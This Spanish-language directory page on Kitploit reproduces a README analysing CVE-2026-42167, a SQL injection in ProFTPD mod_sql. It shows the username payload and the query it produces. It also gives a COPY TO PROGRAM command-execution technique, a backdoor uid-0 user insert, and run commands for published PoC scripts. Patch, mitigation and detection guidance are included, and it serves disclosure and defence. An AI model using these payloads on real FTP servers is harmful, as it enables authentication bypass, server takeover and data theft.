Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-42167 — Technical analysis and proof-of-concept for CVE-2026-42167, a critical SQL injection in ProFTPD mod_sql enabling authentication bypass, backdoor user injection, and remote code execution. | Kitploit
Herramientas/GitHubGitHub/kaleth4/cve-2026-42167
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubkaleth4/cve-2026-42167

CVE-2026-42167

Technical analysis and proof-of-concept for CVE-2026-42167, a critical SQL injection in ProFTPD mod_sql enabling authentication bypass, backdoor user injection, and remote code execution.

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-42167: SQL Injection en ProFTPD mod_sql

📋 Resumen Ejecutivo

CVE-2026-42167 es una vulnerabilidad crítica de inyección SQL en el módulo mod_sql de ProFTPD que permite elusión de autenticación, inyección de usuarios backdoor y ejecución remota de código (RCE).

AtributoValor
TipoInyección SQL (CWE-89)
GravedadAlta/Crítica
CVSS v38.1
Componentemod_sql en ProFTPD < 1.3.9a
Reportado porZeroPath Research
Fecha28 de abril de 2026

🔍 Descripción Técnica

El Problema: Validación Débil en is_escaped_text()

ProFTPD utiliza la función is_escaped_text() para determinar si un valor ya ha sido saneado antes de insertarlo en una consulta SQL. La función asume que cualquier entrada que:

  • Comience con una comilla simple '
  • Termine con una comilla simple '
  • No contenga comillas simples internas

...ya ha sido escapada y no requiere procesamiento adicional.

El Exploit

Un atacante puede enviar un nombre de usuario malicioso como:

root@kitploit:~
USER ' || (SELECT 1) ||'

Cuando se inserta en una consulta SQL como:

root@kitploit:~
INSERT "'%U', '%r', '%m'" activity_log

Se produce:

root@kitploit:~
INSERT "'' || (SELECT 1) || ''" activity_log

El payload se ejecuta como SQL arbitrario porque los operadores || concatenan cadenas vacías alrededor del comando inyectado.


⚠️ Escenarios de Impacto

1️⃣ Ejecución Remota de Código (RCE)

Requisitos:

  • Backend PostgreSQL
  • Usuario de base de datos con privilegios de superusuario
  • Logging SQL habilitado con variables %U o %{basename}

Técnica:

root@kitploit:~
COPY (SELECT 1) TO PROGRAM 'comando_malicioso'

Ejecuta comandos a nivel de sistema operativo como el usuario postgres.

2️⃣ Elusión de Autenticación

Requisitos:

  • SQLAuthenticate habilitado
  • Logging SQL con variable %U en SQLLog ERR_* (pre-autenticación)

Técnica:

root@kitploit:~
INSERT INTO users (username, password, uid, homedir) 
VALUES ('attacker', 'password_hash', 0, '/')

El atacante inyecta un usuario backdoor con uid=0 (root) y acceso a todo el sistema de archivos.

3️⃣ Exfiltración de Datos

Requisitos:

  • Cualquier backend SQL
  • Logging SQL habilitado

Técnica: Inyección SQL ciega basada en tiempo para extraer credenciales carácter por carácter.


📊 Vectores de Ataque

Variables Controladas por el Atacante

VariableSignificadoAlcance
%UNombre de usuario original (antes de autenticación)Pre-auth
%AContraseña de login anónimoPre-auth
%JParámetros del comandoPre-auth
%mVerbo FTP (STOR, RETR, etc.)Pre-auth
%{basename}Componente del nombre de archivoPost-auth
%lRespuesta ident (RFC 1413)Pre-auth (si identd está disponible)

Rutas de Explotación

Pre-autenticación (más crítica):

root@kitploit:~
%U + SQLLog ERR_* → Sin credenciales requeridas

Post-autenticación:

root@kitploit:~
%{basename} + SQLLog STOR → Requiere cualquier usuario FTP válido

🛡️ Mitigación y Solución

✅ Solución Recomendada

Actualizar inmediatamente a ProFTPD 1.3.9a o superior:

root@kitploit:~
# Verificar versión actual
proftpd -v

# Actualizar (ejemplo para Debian/Ubuntu)
sudo apt-get update
sudo apt-get install proftpd-basic=1.3.9a-1

🔧 Mitigaciones Temporales

Si no puede actualizar inmediatamente:

  1. Deshabilitar logging SQL:
root@kitploit:~
# Comentar o eliminar estas líneas en proftpd.conf
# SQLLog * log_activity
# SQLLog ERR_* log_activity
  1. Aplicar principio de menor privilegio:
root@kitploit:~
-- En PostgreSQL, crear usuario sin privilegios de superusuario
CREATE USER proftpd_user WITH PASSWORD 'secure_password';
GRANT SELECT, INSERT ON activity_log TO proftpd_user;
-- NO otorgar SUPERUSER
  1. Monitoreo de intentos de exploit:
root@kitploit:~
TraceLog /var/log/proftpd/trace.log
Trace sql:17

🔎 Verificación de Vulnerabilidad

Indicador de Compromiso

Buscar en los logs de traza de ProFTPD (con Trace sql:17 habilitado):

root@kitploit:~
text 'payload' is already escaped, skipping escaping it again

Este mensaje indica que un intento de bypass ha sido procesado por el motor vulnerable.

Comando para Verificar

root@kitploit:~
# Habilitar trazas detalladas
echo "Trace sql:17" >> /etc/proftpd/proftpd.conf

# Reiniciar ProFTPD
sudo systemctl restart proftpd

# Monitorear logs
tail -f /var/log/proftpd/trace.log | grep "already escaped"

📦 Información de Versiones

VersiónEstado
< 1.3.9❌ Vulnerable
1.3.9❌ Vulnerable
≥ 1.3.9a✅ Parcheado
≥ 1.3.10rc1✅ Parcheado

🧪 Prueba de Concepto (PoC)

Repositorio Oficial

GitHub: ZeroPathAI/proftpd-CVE-2026-42167-poc

Configuración Rápida con Docker

root@kitploit:~
# Clonar repositorio
git clone https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc.git
cd proftpd-CVE-2026-42167-poc

# Requisitos
# - Docker
# - Git
# - Python 3.10+
# - uv (gestor de paquetes Python)

# Configurar entorno vulnerable
cd setup
./setup.sh

# Ejecutar PoCs
cd ../pocs
python3 preauth_user_backdoor.py      # Inyectar usuario backdoor (pre-auth)
python3 preauth_user_rce.py           # RCE vía COPY TO PROGRAM (pre-auth)
python3 postauth_stor_backdoor.py     # Inyectar usuario (post-auth)
python3 postauth_stor_rce.py          # RCE (post-auth)

# Limpiar
cd ../setup
./teardown.sh

📅 Cronología

FechaEvento
2026-03-28Vulnerabilidad reportada a ProFTPD
2026-04-07Verificación y desarrollo de parche
2026-04-24CVE-2026-42167 asignado
2026-04-27Parche liberado (commit af90843baf7dcb8c6be1e5261be2d0b5b5850673)
2026-04-27ProFTPD 1.3.9a lanzado

📚 Referencias

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-42167
  • Blog Técnico: https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce
  • Repositorio PoC: https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
  • Notas de Lanzamiento: http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1
  • Discusión: https://github.com/proftpd/proftpd/issues/2052

⚡ Recomendaciones Finales

  1. Acción Inmediata: Actualizar ProFTPD a 1.3.9a o superior
  2. Auditoría: Revisar configuraciones de SQLLog en todos los servidores ProFTPD
  3. Privilegios: Asegurar que usuarios de base de datos no tengan permisos de superusuario
  4. Monitoreo: Implementar alertas para intentos de inyección SQL
  5. Parches: Mantener un programa de parcheo regular para todas las dependencias

Última actualización: 28 de abril de 2026
Fuente: ZeroPath Research, MITRE CVE, NVD

Descargar herramienta